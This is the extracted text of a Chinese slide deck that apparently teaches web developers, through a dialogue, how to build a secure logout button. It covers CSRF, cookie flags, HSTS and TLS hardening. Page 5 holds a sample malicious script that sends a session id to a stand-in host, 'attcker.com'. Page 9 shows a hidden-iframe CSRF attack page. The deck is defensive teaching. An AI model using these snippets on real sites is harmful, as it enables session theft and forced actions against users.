45
如何实现登出按钮? LI Daobing 2013-12-06 Shanghai

如何实现登出按钮

Embed Size (px)

DESCRIPTION

如何实现登出按钮

Citation preview

Page 1: 如何实现登出按钮

如何实现登出按钮?LI Daobing 2013-12-06 Shanghai

Page 2: 如何实现登出按钮

简单

<a href=“/logout”>登出</a>

Page 3: 如何实现登出按钮

如果我在天涯的帖⼦子加上如下⼀一段会发⽣生什么?

<img src=“http://www.qiniu.com/logout” />

Page 4: 如何实现登出按钮

加上 session id, 你就没法攻击了吧

<a id=“logout” href=“/logout?s=abc123”>登出</a>

Page 5: 如何实现登出按钮

⼩小⼼心⺴⽹网站上的恶意 JS

sid = $(“#logout”).attr(“src”);

$(‘<img src=“http://attcker.com/?' + sid + ‘“ />’).appendTo(“$(“body”))

Page 6: 如何实现登出按钮

为什么放在 Cookie 中的 session id 没有这个问题

Page 7: 如何实现登出按钮

因为他设置了 HTTPOnly

但你的⺴⽹网站可能没有设置

Page 8: 如何实现登出按钮

好吧我决定改⽤用 POST 了

<form action=“/logout” method=“POST”><input type=“submit” value=“登出”>

</form>

Page 9: 如何实现登出按钮

<!— attack1.html —>

<form action=“http://qiniu.com/logout” method=“POST”> </form> <script>$(“form”).submit()</script>

<!— fakepage.html —> <iframe src=“attack1.html” style=“width:0;height:0”> </iframe>

Page 10: 如何实现登出按钮

为什么要放到 iframe ⾥里边,直接在 fakepage.html ⾥里边跳转不⾏行么?

Page 11: 如何实现登出按钮

那样会让 fakepage.html 跳转到你的登录⻚页,⽤用户会察觉到被攻击了

我们更喜欢悄悄地攻击

Page 12: 如何实现登出按钮

我⽤用过 AJAX, 是不是⽤用 AJAX 就可以避免跳转

Page 13: 如何实现登出按钮

很遗憾,浏览器会禁⽌止你发 POST 请求到其他⺴⽹网站 除⾮非你主动打开跨域允许

Page 14: 如何实现登出按钮

好吧,你说该如何写?

Page 15: 如何实现登出按钮

<form action=“/logout” method=“POST”> <input type="hidden" name="csrf_token" value="abc123"> <input type=“submit” value=“登出”> </form>

Page 16: 如何实现登出按钮

这样写很烦,有没有简单的⽅方案?

Page 17: 如何实现登出按钮

你可以⽤用 jquery_ujs.js

<a href="/logout" data-method="post">登出</a>

Page 18: 如何实现登出按钮

我看了⼀一下我的框架,好像没有 CSRF ⽀支持,我该怎么办?

Page 19: 如何实现登出按钮

你可以检查 referer, 判定 POST 请求是否来⾃自本站

但部分浏览器⽀支持不好,⽐比如 Opera 9.x

Page 20: 如何实现登出按钮

我想到⼀一个问题,如果我⽤用 JS 把你的⺴⽹网站下载过来,取出 csrf_token, 是不是就可以继续⽤用刚才 iframe 的攻击⼿手

法了?

Page 21: 如何实现登出按钮

很遗憾,浏览器禁⽌止你⽤用JS访问其他⺴⽹网站,并且分析其结果

Page 22: 如何实现登出按钮

你弄错了吧,我⽤用过 Google 站内搜索 JS,我就是从 Google 拿到数据,⾃自⼰己分析,让后呈现的

Page 23: 如何实现登出按钮

这个技术叫 JSONP,其实你没有拿到google返回的数据,只是 google 返回的数据是⼀一份 JS, JS 中包含你⽤用来处理数据的函数⽽而已

等价于你在⺴⽹网⻚页中插⼊入如下⼀一段代码: <script src=“http://google.com/?

q=foobar&jsonp=callback"></script>

⽽而 Google 返回的数据就是 callback({result:"abc"})

Page 24: 如何实现登出按钮

也就是说必须 Google ⽀支持我才能⽤用JSONP对吧?

⾖豆瓣的数据很爽,可惜不⽀支持 JSONP, 是不是就不能⽤用了

Page 25: 如何实现登出按钮

你可以通过服务器中转

Page 26: 如何实现登出按钮

懂了,这样好像还更灵活,那 JSONP 还有什么

意义?

Page 27: 如何实现登出按钮

1. 那些需要⽤用户登录后才能拿到的资料⽆无法通过服务端中转实现

2. JSONP 不需要服务端编程。

Page 28: 如何实现登出按钮

回到登出这个问题,是不是我⽤用你的⽅方法就完美了?

Page 29: 如何实现登出按钮

还要⼩小⼼心信息泄露,⽐比如有⼈人在链路上窃听

Page 30: 如何实现登出按钮

这个我懂,是不是加上 https ,然后所有 HTTP 请求重定向就可以了?

Page 31: 如何实现登出按钮

回到最开始的攻击⼿手法,这个情况下窃听者就可以拿到你的 session id

<img src=“http://www.qiniu.com/logout” />

Page 32: 如何实现登出按钮

Damn It, 有什么解决办法?

Page 33: 如何实现登出按钮

看⻅见下图右边的 Secure 没有,他表⽰示这个Cookie只能通过https传递

Page 34: 如何实现登出按钮

还有什么其他需要注意的?

Page 35: 如何实现登出按钮

⼩小⼼心恶意中间⼈人

Page 36: 如何实现登出按钮

是不是我弄好证书就可以了?

Page 37: 如何实现登出按钮

好的证书是第⼀一步(不要像 12306 学习),你还得⼩小⼼心 SSL Stripping Attack

⽤用户进⼊入 portal.qiniu.com 的时候⼀一般不会主动加上 https, 恶意中间⼈人就可以在这个时候代理⽤用户把请求发到服务器, 并且窃听到所有数据。

可以在HTTP返回头中加⼊入如下的⼀一项: Strict-Transport-Security: max-age=31536000; includeSubDomains

Page 38: 如何实现登出按钮

还有什么需要注意的,你⼀一次性说了吧

Page 39: 如何实现登出按钮

• 要禁⽤用 SSLv1 • TLS 1.0 有⼀一个 CBC 漏洞,建议 nginx 启⽤用 TLS 1.1, 1.2, 并且关闭 RC4

• 有 https 的域名不要开放邮箱申请 • session id 要⾜足够⻓长,避免 CRIME 攻击

Page 40: 如何实现登出按钮

完了吗?

Page 41: 如何实现登出按钮

你还要⼩小⼼心 XSS, </script>, 宽字符, clickjack, frame, content-type, 社会

⼯工程学攻击

Page 42: 如何实现登出按钮

我放弃了,我还是继续去做⽕火箭吧⾄至少我还不⽤用去考虑外星⼈人的攻击Falcon, 我来了

42

Page 43: 如何实现登出按钮

⾄至少听我总结⼀一下吧

1. 需要正确使⽤用 GET/POST 2. 需要知道如何防范 CSRF 3. 正确使⽤用 Cookie 的 HttpOnly 和 Secure 选项 4. 从外界输⼊入的 HTML 需要清洗, 内容输出前需要正确

escape 5. 避免 SQL 注⼊入 6. 采⽤用⼀一些常⻅见的 HTTP 安全头

Page 44: 如何实现登出按钮
Page 45: 如何实现登出按钮

Q&A?